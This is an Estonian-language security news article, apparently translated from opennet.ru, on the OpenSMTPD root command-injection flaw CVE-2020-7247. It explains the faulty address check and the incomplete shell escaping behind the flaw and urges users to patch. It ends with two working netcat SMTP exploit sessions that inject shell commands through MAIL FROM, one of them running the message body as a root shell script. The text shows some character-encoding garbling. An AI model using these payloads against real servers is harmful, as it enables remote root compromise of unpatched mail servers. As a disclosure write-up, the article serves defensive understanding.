Arendatavas OpenBSD arendusprojektis olev e-posti server tuvastatud (CVE-2020-7247), mis vÔimaldab kaugjuhtimise teel kÀivitada shell-kÀsklusi serveris root-kasutaja Ôigustes. Haavatavus tuvastati Qualys Security poolt lÀbi viidud kordusauditi kÀigus (eelmine audit OpenSMTPD 2015. aastal, ja uus haavatavus on olemas alates maist 2018). Probleem on OpenSMTPD 6.6.2 versioonis. KÔigile kasutajatele soovitatakse viivitamatult uuendus installida (OpenBSD jaoks saab paranduse installida syspatch'i kaudu).
Pakutud on kaks rĂŒndevarianti. Esimene variant töötab OpenSMTPD vaikeseadetega (ĂŒlitame ainult localhost'ist) ja vĂ”imaldab probleemist kohapeal kasu saada, kui rĂŒndajal on vĂ”imalus pöörduda serveri kohaliku vĂ”rgu liidese poole (nĂ€iteks majutussĂŒsteemides). Teine variant avaldub juhul, kui OpenSMTPD on seadistatud vĂ€liste vĂ”rgu pĂ€ringute vastuvĂ”tmiseks (e-posti server, mis aktsepteerib kolmandate isikute e-kirju). Uurijad on valmistanud ette ekspluateerimise prototĂŒĂŒbi, mis töötab edukalt nii OpenBSD 6.6 versiooni OpenSMTPD variandi kui ka teiste opsĂŒsteemide teisaldatava versiooniga (katsetatud Debian Testing'is).
Probleem on pĂ”hjustatud veast funktsioonis smtp_mailaddr(), mida kutsutakse vĂ€lja vÀÀrtuste kontrollimiseks vĂ€lides 'MAIL FROM' ja 'RCPT TO', mis mÀÀravad saatja/saaja ning edastatakse e-posti serveriga ĂŒhenduse loomisel. E-posti aadressi osa, mis asub '@' sĂŒmbolist enne, kontrollitakse funktsioonis smtp_mailaddr()
valid_localpart(), mis peab lubatuks (MAILADDR_ALLOWED) sĂŒmbolid '!#$%&â*?^`{|}~+-=_', vastavalt RFC 5322 nĂ”uetele.
Samas, tegelik stringi eskapeerimine toimub funktsioonis mda_expand_token(), mis asendab ainult sĂŒmbolid '!#$%&â*?`{|}~' (MAILADDR_ESCAPE). Edasi, mda_expand_token() ettevalmistatud stringi kasutatakse kohaletoimetamise agendi (MDA) kĂ”ne kaudu kĂ€suga 'execle("/bin/sh", "/bin/sh", "-c", mda_command,âŠ'. Kui kiri on paigutatud mbox'i lĂ€bi /bin/sh, kĂ€ivitatakse string '"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}"', kus '%{mbox.from}' vÀÀrtus sisaldab 'MAIL FROM' parameetri eskapeeritud andmeid.
Haavatavuse pĂ”hjuseks on see, et smtp_mailaddr() funktsioonil on loogika viga, mille tĂ”ttu tagastab see e-posti aadressi tĂŒhja domeeni korral eduka kontrollikoodi, isegi kui aadressi osa enne â@â sisaldab lubamatuid mĂ€rke. Edasi ettevalmistamisel mda_expand_token() funktsiooniga ei escape'ita kĂ”ik vĂ”imalikud erimĂ€rgid shellis, vaid ainult need, mis on lubatud e-posti aadressis. Seega piisab, kui kasutada e-posti lokaalses osas mĂ€rki â;â ja tĂŒhikut, mis ei kuulu MAILADDR_ESCAPE komplekti ja mida ei escape'ita. NĂ€iteks:
$ nc 127.0.0.1 25
HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT
PÀrast seda seanssi kÀivitab OpenSMTPD mboxi tarnimisel shelli kaudu kÀsu
/usr/libexec/mail.local -f ;sleep 66; root
Sel juhul on rĂŒnnaku vĂ”imalused piiratud sellega, et e-posti aadressi lokaalne osa ei saa ĂŒletada 64 tĂ€hemĂ€rki ning erimĂ€rgid â$â ja â|â asendatakse escape'imisel mĂ€rgiga «:». Selle piirangu ĂŒletamiseks kasutatakse fakti, et kirja sisu edastatakse pĂ€rast /usr/libexec/mail.local kĂ€ivitamist sissevoolu kaudu, st aadressiga manipuleerimise kaudu saab kĂ€ivitada ainult kĂ€surea tĂ”lgendi sh ja kasutada kirja sisu juhiste kogumina. Kuna kirja alguses on erinevad SMTP-pealkirjad, soovitatakse nende ignoreerimiseks kasutada kĂ€sku read tsĂŒklis. TöövĂ”imetus omandab umbkaudu jĂ€rgmise kuju:
$ nc 192.168.56.143 25
HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
âŠ
#d
for i in W O P R; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT
Allikas: opennet.ru
